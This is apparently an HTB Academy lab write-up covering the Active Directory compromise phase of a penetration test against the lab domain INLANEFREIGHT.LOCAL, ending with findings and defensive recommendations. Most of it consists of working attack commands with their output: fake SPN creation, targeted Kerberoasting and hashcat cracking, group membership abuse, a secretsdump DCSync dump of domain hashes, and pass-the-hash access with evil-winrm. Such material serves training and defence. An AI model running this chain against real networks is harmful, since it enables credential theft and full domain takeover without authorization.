πŸ‘‘Active Directory Compromise

🎯 Overview

Active Directory Compromise represents the final phase of enterprise network penetration testing. Leverage GenericWrite privileges for targeted Kerberoasting, exploit Server Admins group membership for DCSync attacks, and achieve Domain Administrator access through systematic privilege escalation and credential harvesting.

πŸ” BloodHound Attack Path Analysis

🎯 GenericWrite Privilege Discovery

# mssqladm account analysis:
- GenericWrite over ttimmons user
- SQL service account privileges
- Domain credential access capability

# Attack vector identification:
GenericWrite β†’ Fake SPN creation β†’ Targeted Kerberoasting β†’ Password cracking

πŸ“Š Attack Chain Visualization

# Privilege escalation path:
mssqladm (GenericWrite) β†’ ttimmons (GenericAll) β†’ Server Admins β†’ DCSync

# BloodHound query results:
1. MSSQLADM@INLANEFREIGHT.LOCAL β†’ GenericWrite β†’ TTIMMONS@INLANEFREIGHT.LOCAL
2. TTIMMONS@INLANEFREIGHT.LOCAL β†’ GenericAll β†’ SERVER ADMINS@INLANEFREIGHT.LOCAL  
3. SERVER ADMINS@INLANEFREIGHT.LOCAL β†’ GetChanges/GetChangesAll β†’ INLANEFREIGHT.LOCAL

🎫 Targeted Kerberoasting Attack

πŸ”§ Fake SPN Creation

# PSCredential object creation
$SecPassword = ConvertTo-SecureString 'DBAilfreight1!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\mssqladm', $SecPassword)

# Fake SPN assignment
Set-DomainObject -credential $Cred -Identity ttimmons -SET @{serviceprincipalname='acmetesting/LEGIT'} -Verbose

# Verification:
[*] Setting 'serviceprincipalname' to 'acmetesting/LEGIT' for object 'ttimmons'

🎯 TGS Ticket Extraction

# Targeted Kerberoasting attack
proxychains GetUserSPNs.py -dc-ip 172.16.8.3 INLANEFREIGHT.LOCAL/mssqladm -request-user ttimmons

# Results:
ServicePrincipalName  Name      MemberOf  PasswordLastSet             LastLogon  Delegation 
--------------------  --------  --------  --------------------------  ---------  ----------
acmetesting/LEGIT     ttimmons            2022-06-01 14:32:18.194423  <never>               

# TGS ticket captured:
$krb5tgs$23$*ttimmons$INLANEFREIGHT.LOCAL$INLANEFREIGHT.LOCAL/ttimmons*$[HASH_DATA]

πŸ” Password Cracking

# Hashcat TGS cracking
hashcat -m 13100 ttimmons_tgs /usr/share/wordlists/rockyou.txt

# Successful crack:
ttimmons:[CRACKED_PASSWORD]

# Attack completion time:
Time.Started.....: Wed Jun 22 16:32:27 2022 (22 secs)
Status...........: Cracked
Progress.........: 10678272/14344385 (74.44%)

πŸ”Ί Server Admins Group Escalation

πŸ‘₯ Group Membership Manipulation

# PSCredential object for ttimmons
$timpass = ConvertTo-SecureString '[CRACKED_PASSWORD]' -AsPlainText -Force
$timcreds = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\ttimmons', $timpass)

# Server Admins group addition
$group = Convert-NameToSid "Server Admins"
Add-DomainGroupMember -Identity $group -Members 'ttimmons' -Credential $timcreds -verbose

# Verification:
[*] Adding member 'ttimmons' to group 'S-1-5-21-2814148634-3729814499-1637837074-1622'

🎯 DCSync Privileges Inheritance

# Server Admins group capabilities:
- GetChanges privilege (INLANEFREIGHT.LOCAL)
- GetChangesAll privilege (INLANEFREIGHT.LOCAL)
- DCSync attack capability
- Complete domain credential access

# BloodHound confirmation:
SERVER ADMINS β†’ DCSync β†’ INLANEFREIGHT.LOCAL domain

πŸ”„ DCSync Attack Execution

πŸ’Ž NTDS Database Extraction

# Complete domain credential dump
proxychains secretsdump.py ttimmons@172.16.8.3 -just-dc-ntlm

# Expected output:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets

# Key accounts extracted:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:[DOMAIN_ADMIN_HASH]
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:[KRBTGT_HASH]
[ALL_DOMAIN_USERS]:[RESPECTIVE_HASHES]

πŸ‘‘ Domain Administrator Access

# Pass-the-Hash authentication to DC
proxychains evil-winrm -i 172.16.8.3 -u Administrator -H [DOMAIN_ADMIN_HASH]

# Verification:
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
inlanefreight\administrator

# Domain Controller access confirmed:
hostname β†’ DC01
ipconfig β†’ 172.16.8.3 (Domain Controller)

🎯 Post-Compromise Activities

πŸ“Š Complete Domain Control Validation

# Domain Administrator capabilities:
- Complete Active Directory control
- All user account access
- Group Policy modification rights
- Trust relationship management
- Certificate Authority access (if present)

# Evidence collection priorities:
- Screenshot of Domain Controller access
- NTDS database dump completion
- Administrative command execution proof
- Network topology confirmation

πŸ”’ Cleanup and Documentation

# Remove fake SPN (operational security)
Set-DomainObject -credential $Cred -Identity ttimmons -Clear serviceprincipalname -Verbose

# Remove from Server Admins group
Remove-DomainGroupMember -Identity "Server Admins" -Members 'ttimmons' -Credential $timcreds -verbose

# Document all changes:
- Fake SPN creation and removal
- Group membership modifications
- Password changes performed
- Registry/system modifications

πŸ† Complete Attack Chain Summary

πŸš€ External β†’ Domain Admin Path

# Phase 1: External Reconnaissance
Nmap scans β†’ DNS zone transfer β†’ Subdomain discovery β†’ 11 web applications

# Phase 2: Initial Foothold  
Web application testing β†’ Command injection β†’ Reverse shell β†’ TTY upgrade

# Phase 3: Persistence & Privilege Escalation
Audit log mining β†’ SSH access β†’ GTFOBins β†’ Root access

# Phase 4: Internal Reconnaissance
SSH pivoting β†’ Host discovery β†’ NFS exploitation β†’ Credential harvesting

# Phase 5: Lateral Movement
DNN admin access β†’ PrintSpoofer β†’ SYSTEM β†’ Multiple host compromise

# Phase 6: Active Directory Compromise
BloodHound analysis β†’ GenericWrite abuse β†’ Targeted Kerberoasting β†’ DCSync β†’ Domain Admin

πŸ“‹ Comprehensive Findings Summary

# Critical/High Risk Findings:
1. Unrestricted File Upload β†’ RCE
2. Command Injection β†’ System compromise
3. Insecure File Shares β†’ Credential exposure
4. Weak Active Directory Passwords β†’ Domain compromise
5. Excessive AD Group Privileges β†’ Lateral movement
6. GenericWrite ACL Misconfiguration β†’ Privilege escalation
7. DCSync Privileges β†’ Complete domain access

# Medium Risk Findings:
8. HTTP Verb Tampering β†’ Information disclosure
9. IDOR Vulnerabilities β†’ Data exposure
10. Directory Listing Enabled β†’ Information leakage
11. Kerberoasting Vulnerabilities β†’ Credential attacks

# Informational Findings:
12. Abandoned Test Applications β†’ Attack surface
13. Legacy Credentials in Scripts β†’ Historical exposure
14. Passwords in AD Descriptions β†’ Information disclosure

πŸ› οΈ Tools & Techniques Mastery

πŸ” Reconnaissance Tools

# External enumeration:
Nmap, DNS zone transfers, EyeWitness, Gobuster, WPScan

# Internal enumeration:  
BloodHound, SharpHound, PowerView, Snaffler, CrackMapExec

# Credential hunting:
Secretsdump, Mimikatz, LaZagne, Registry analysis

βš”οΈ Exploitation Techniques

# Web application attacks:
SQL injection, XSS, XXE, SSRF, File upload bypasses

# Privilege escalation:
PrintSpoofer, GTFOBins, Sysax Automation, Unattend.xml

# Active Directory attacks:
Kerberoasting, Password spraying, DCSync, ACL abuse

🎯 HTB Academy Labs

πŸ“‹ Final Lab Solutions

# Lab 1: Targeted Kerberoasting
1. BloodHound analysis β†’ GenericWrite identification
2. PSCredential creation β†’ mssqladm authentication  
3. Fake SPN assignment β†’ acmetesting/LEGIT
4. TGS ticket extraction β†’ GetUserSPNs.py
5. Password cracking β†’ Hashcat success
6. Password discovery β†’ ttimmons:[PASSWORD]

# Lab 2: Domain Controller Access
1. Group membership addition β†’ ttimmons to Server Admins
2. DCSync privilege inheritance β†’ GetChanges/GetChangesAll
3. NTDS database dump β†’ secretsdump.py execution
4. Domain Admin hash β†’ Administrator NT hash
5. DC authentication β†’ Pass-the-Hash WinRM
6. Flag retrieval β†’ Administrator Desktop access

# Lab 3: NTDS Hash Extraction
1. DCSync attack execution β†’ Complete credential dump
2. Administrator hash extraction β†’ Domain Admin access
3. Evidence collection β†’ NTDS database analysis

πŸ” Professional Methodology Demonstrated

# Systematic approach:
- Complete external enumeration before internal pivot
- Establish multiple persistence mechanisms
- Document all attack paths and evidence
- Maintain operational security during testing

# Advanced techniques:
- Multi-stage privilege escalation chains
- Complex pivoting and tunneling setups
- Active Directory attack path exploitation
- Professional cleanup and documentation

# Real-world application:
- Enterprise network penetration methodology
- Complete attack chain from external to Domain Admin
- Evidence collection for professional reporting
- Client communication and impact demonstration

πŸ›‘οΈ Comprehensive Defensive Recommendations

πŸ”’ Active Directory Hardening

# Privilege management:
- Implement least privilege principles
- Regular ACL audits and cleanup
- Monitor privileged group memberships
- Implement Privileged Access Management (PAM)

# Authentication security:
- Deploy strong password policies
- Implement multi-factor authentication
- Monitor for Kerberoasting attacks
- Regular credential rotation

# Monitoring and detection:
- Deploy advanced threat detection
- Monitor DCSync attack attempts
- Implement honeypot accounts
- Regular security assessments

🌐 Network Security

# Segmentation:
- Implement proper network segmentation
- Deploy zero-trust architecture
- Restrict lateral movement capabilities
- Monitor east-west traffic

# Application security:
- Regular web application security testing
- Implement secure development practices
- Deploy Web Application Firewalls
- Regular vulnerability assessments

Last updated